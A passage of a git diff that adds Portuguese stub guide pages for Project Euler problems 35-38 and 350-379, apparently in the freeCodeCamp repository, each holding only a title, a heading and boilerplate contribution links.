\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-35-circular-primes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-35-circular-primes/index.md
new file mode 100644
index 0000000000..b97265a9d0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-35-circular-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Circular primes
+localeTitle: Primes circulares
+---
+## Problema 35: Primários Circulares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-35-circular-primes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-350-constraining-the-least-greatest-and-the-greatest-least/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-350-constraining-the-least-greatest-and-the-greatest-least/index.md
new file mode 100644
index 0000000000..2b93a9224c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-350-constraining-the-least-greatest-and-the-greatest-least/index.md
@@ -0,0 +1,9 @@
+---
+title: Constraining the least greatest and the greatest least
+localeTitle: Restringindo o menos maior e o maior menos
+---
+## Problema 350: Restringir o menos maior e o maior menos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-350-constraining-the-least-greatest-and-the-greatest-least/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-351-hexagonal-orchards/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-351-hexagonal-orchards/index.md
new file mode 100644
index 0000000000..418fece44f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-351-hexagonal-orchards/index.md
@@ -0,0 +1,9 @@
+---
+title: Hexagonal orchards
+localeTitle: Pomares hexagonais
+---
+## Problema 351: Pomares Hexagonais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-351-hexagonal-orchards/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-352-blood-tests/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-352-blood-tests/index.md
new file mode 100644
index 0000000000..ebd8c99f90
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-352-blood-tests/index.md
@@ -0,0 +1,9 @@
+---
+title: Blood tests
+localeTitle: Exames de sangue
+---
+## Problema 352: Exames de sangue
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-352-blood-tests/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-353-risky-moon/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-353-risky-moon/index.md
new file mode 100644
index 0000000000..35d1cb1d67
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-353-risky-moon/index.md
@@ -0,0 +1,9 @@
+---
+title: Risky moon
+localeTitle: Lua arriscada
+---
+## Problema 353: Lua Arriscada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-353-risky-moon/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-354-distances-in-a-bees-honeycomb/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-354-distances-in-a-bees-honeycomb/index.md
new file mode 100644
index 0000000000..60782d41f5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-354-distances-in-a-bees-honeycomb/index.md
@@ -0,0 +1,9 @@
+---
+title: Distances in a bee's honeycomb
+localeTitle: Distâncias no favo de mel de uma abelha
+---
+## Problema 354: Distâncias no favo de mel de uma abelha
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-354-distances-in-a-bees-honeycomb/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-355-maximal-coprime-subset/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-355-maximal-coprime-subset/index.md
new file mode 100644
index 0000000000..e78e02d4ca
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-355-maximal-coprime-subset/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximal coprime subset
+localeTitle: Subconjunto de coprime máximo
+---
+## Problema 355: subconjunto de coprime máximo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-355-maximal-coprime-subset/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-356-largest-roots-of-cubic-polynomials/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-356-largest-roots-of-cubic-polynomials/index.md
new file mode 100644
index 0000000000..d763859e83
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-356-largest-roots-of-cubic-polynomials/index.md
@@ -0,0 +1,9 @@
+---
+title: Largest roots of cubic polynomials
+localeTitle: Raízes maiores de polinômios cúbicos
+---
+## Problema 356: maiores raízes de polinômios cúbicos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-356-largest-roots-of-cubic-polynomials/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-357-prime-generating-integers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-357-prime-generating-integers/index.md
new file mode 100644
index 0000000000..d0a81ce2d4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-357-prime-generating-integers/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime generating integers
+localeTitle: Prime gerando inteiros
+---
+## Problema 357: Prime gerando inteiros
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-357-prime-generating-integers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-358-cyclic-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-358-cyclic-numbers/index.md
new file mode 100644
index 0000000000..d6c1e0c14e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-358-cyclic-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Cyclic numbers
+localeTitle: Números cíclicos
+---
+## Problema 358: números cíclicos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-358-cyclic-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-359-hilberts-new-hotel/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-359-hilberts-new-hotel/index.md
new file mode 100644
index 0000000000..d4bd1de90a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-359-hilberts-new-hotel/index.md
@@ -0,0 +1,9 @@
+---
+title: Hilbert's New Hotel
+localeTitle: Novo Hotel de Hilbert
+---
+## Problema 359: o novo hotel de Hilbert
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-359-hilberts-new-hotel/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-36-double-base-palindromes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-36-double-base-palindromes/index.md
new file mode 100644
index 0000000000..c6287c0834
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-36-double-base-palindromes/index.md
@@ -0,0 +1,9 @@
+---
+title: Double-base palindromes
+localeTitle: Palindromes de base dupla
+---
+## Problema 36: Palíndromos de base dupla
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-36-double-base-palindromes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-360-scary-sphere/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-360-scary-sphere/index.md
new file mode 100644
index 0000000000..1acc68b6bb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-360-scary-sphere/index.md
@@ -0,0 +1,9 @@
+---
+title: Scary Sphere
+localeTitle: Esfera Assustadora
+---
+## Problema 360: Esfera Assustadora
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-360-scary-sphere/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-361-subsequence-of-thue-morse-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-361-subsequence-of-thue-morse-sequence/index.md
new file mode 100644
index 0000000000..eccbf8e171
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-361-subsequence-of-thue-morse-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Subsequence of Thue-Morse sequence
+localeTitle: Subsequência da sequência de Thue-Morse
+---
+## Problema 361: Subsequência da sequência de Thue-Morse
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-361-subsequence-of-thue-morse-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-362-squarefree-factors/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-362-squarefree-factors/index.md
new file mode 100644
index 0000000000..a764f735ce
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-362-squarefree-factors/index.md
@@ -0,0 +1,9 @@
+---
+title: Squarefree factors
+localeTitle: Fatores Squarefree
+---
+## Problema 362: Fatores Squarefree
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-362-squarefree-factors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-363-bzier-curves/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-363-bzier-curves/index.md
new file mode 100644
index 0000000000..12847fc5b2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-363-bzier-curves/index.md
@@ -0,0 +1,9 @@
+---
+title: Bézier Curves
+localeTitle: Curvas de Bézier
+---
+## Problema 363: Curvas de Bézier
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-363-bzier-curves/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-364-comfortable-distance/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-364-comfortable-distance/index.md
new file mode 100644
index 0000000000..fa1c62ac87
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-364-comfortable-distance/index.md
@@ -0,0 +1,9 @@
+---
+title: Comfortable distance
+localeTitle: Distância confortável
+---
+## Problema 364: Distância Confortável
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-364-comfortable-distance/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-365-a-huge-binomial-coefficient/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-365-a-huge-binomial-coefficient/index.md
new file mode 100644
index 0000000000..302ddf2928
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-365-a-huge-binomial-coefficient/index.md
@@ -0,0 +1,9 @@
+---
+title: A huge binomial coefficient
+localeTitle: Um enorme coeficiente binomial
+---
+## Problema 365: Um enorme coeficiente binomial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-365-a-huge-binomial-coefficient/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-366-stone-game-iii/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-366-stone-game-iii/index.md
new file mode 100644
index 0000000000..6cb4ed0b7e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-366-stone-game-iii/index.md
@@ -0,0 +1,9 @@
+---
+title: Stone Game III
+localeTitle: Jogo pedra III
+---
+## Problema 366: Stone Game III
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-366-stone-game-iii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-367-bozo-sort/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-367-bozo-sort/index.md
new file mode 100644
index 0000000000..3fd1715448
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-367-bozo-sort/index.md
@@ -0,0 +1,9 @@
+---
+title: Bozo sort
+localeTitle: Bozo sort
+---
+## Problema 367: Tipo Bozo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-367-bozo-sort/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-368-a-kempner-like-series/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-368-a-kempner-like-series/index.md
new file mode 100644
index 0000000000..b4821b7b89
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-368-a-kempner-like-series/index.md
@@ -0,0 +1,9 @@
+---
+title: A Kempner-like series
+localeTitle: Uma série semelhante a Kempner
+---
+## Problema 368: Uma série do tipo Kempner
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-368-a-kempner-like-series/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-369-badugi/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-369-badugi/index.md
new file mode 100644
index 0000000000..243058f33e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-369-badugi/index.md
@@ -0,0 +1,9 @@
+---
+title: Badugi
+localeTitle: Badugi
+---
+## Problema 369: Badugi
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-369-badugi/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-37-truncatable-primes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-37-truncatable-primes/index.md
new file mode 100644
index 0000000000..f17d58706b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-37-truncatable-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Truncatable primes
+localeTitle: Primos truncáveis
+---
+## Problema 37: Príncipes Truncáveis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-37-truncatable-primes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-370-geometric-triangles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-370-geometric-triangles/index.md
new file mode 100644
index 0000000000..445ce282d1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-370-geometric-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Geometric triangles
+localeTitle: Triângulos geométricos
+---
+## Problema 370: triângulos geométricos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-370-geometric-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-371-licence-plates/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-371-licence-plates/index.md
new file mode 100644
index 0000000000..92246d250b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-371-licence-plates/index.md
@@ -0,0 +1,9 @@
+---
+title: Licence plates
+localeTitle: Licença plana
+---
+## Problema 371: Placas de matrícula
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-371-licence-plates/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-372-pencils-of-rays/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-372-pencils-of-rays/index.md
new file mode 100644
index 0000000000..f25b279472
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-372-pencils-of-rays/index.md
@@ -0,0 +1,9 @@
+---
+title: Pencils of rays
+localeTitle: Lápis de raios
+---
+## Problema 372: Lápis de Raios
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-372-pencils-of-rays/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-373-circumscribed-circles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-373-circumscribed-circles/index.md
new file mode 100644
index 0000000000..333c4c8cb5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-373-circumscribed-circles/index.md
@@ -0,0 +1,9 @@
+---
+title: Circumscribed Circles
+localeTitle: Círculos circunscritos
+---
+## Problema 373: círculos circunscritos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-373-circumscribed-circles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-374-maximum-integer-partition-product/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-374-maximum-integer-partition-product/index.md
new file mode 100644
index 0000000000..6c60c51e71
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-374-maximum-integer-partition-product/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum Integer Partition Product
+localeTitle: Produto de Partição Inteiro Máxima
+---
+## Problema 374: Produto de Partição Inteiro Máximo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-374-maximum-integer-partition-product/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-375-minimum-of-subsequences/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-375-minimum-of-subsequences/index.md
new file mode 100644
index 0000000000..fed8f11eb3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-375-minimum-of-subsequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Minimum of subsequences
+localeTitle: Mínimo de Subsequências
+---
+## Problema 375: Mínimo de Subsequências
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-375-minimum-of-subsequences/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-376-nontransitive-sets-of-dice/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-376-nontransitive-sets-of-dice/index.md
new file mode 100644
index 0000000000..b88c0be855
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-376-nontransitive-sets-of-dice/index.md
@@ -0,0 +1,9 @@
+---
+title: Nontransitive sets of dice
+localeTitle: Conjuntos não transitivos de dados
+---
+## Problema 376: Conjuntos Não-Transversais de Dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-376-nontransitive-sets-of-dice/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-377-sum-of-digits-experience-13/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-377-sum-of-digits-experience-13/index.md
new file mode 100644
index 0000000000..24236c0481
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-377-sum-of-digits-experience-13/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of digits, experience 13
+localeTitle: Soma dos dígitos, experiência 13
+---
+## Problema 377: Soma dos dígitos, experiência 13
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-377-sum-of-digits-experience-13/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-378-triangle-triples/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-378-triangle-triples/index.md
new file mode 100644
index 0000000000..061bc28098
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-378-triangle-triples/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangle Triples
+localeTitle: Triângulos Triângulos
+---
+## Problema 378: Triângulos Triângulos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-378-triangle-triples/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-379-least-common-multiple-count/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-379-least-common-multiple-count/index.md
new file mode 100644
index 0000000000..66a1b7948e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-379-least-common-multiple-count/index.md
@@ -0,0 +1,9 @@
+---
+title: Least common multiple count
+localeTitle: Contagem múltipla menos comum
+---
+## Problema 379: contagem múltipla menos comum
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-379-least-common-multiple-count/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-38-pandigital-multiples/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-38-pandigital-multiples/index.md
new file mode 100644
index 0000000000..811f8765a0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-38-pandigital-multiples/index.md
@@ -0,0 +1,9 @@
+---
+title: Pandigital multiples
+localeTitle: Pandigital Múltiplo
+---
+## Problema 38: múltiplos Pandigital
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-38-pandigital-multiples/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-380-amazing-mazes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-380-amazing-mazes/index.md
new file mode 100644
index 0000000000..90ea02a8a5
--- /dev/null
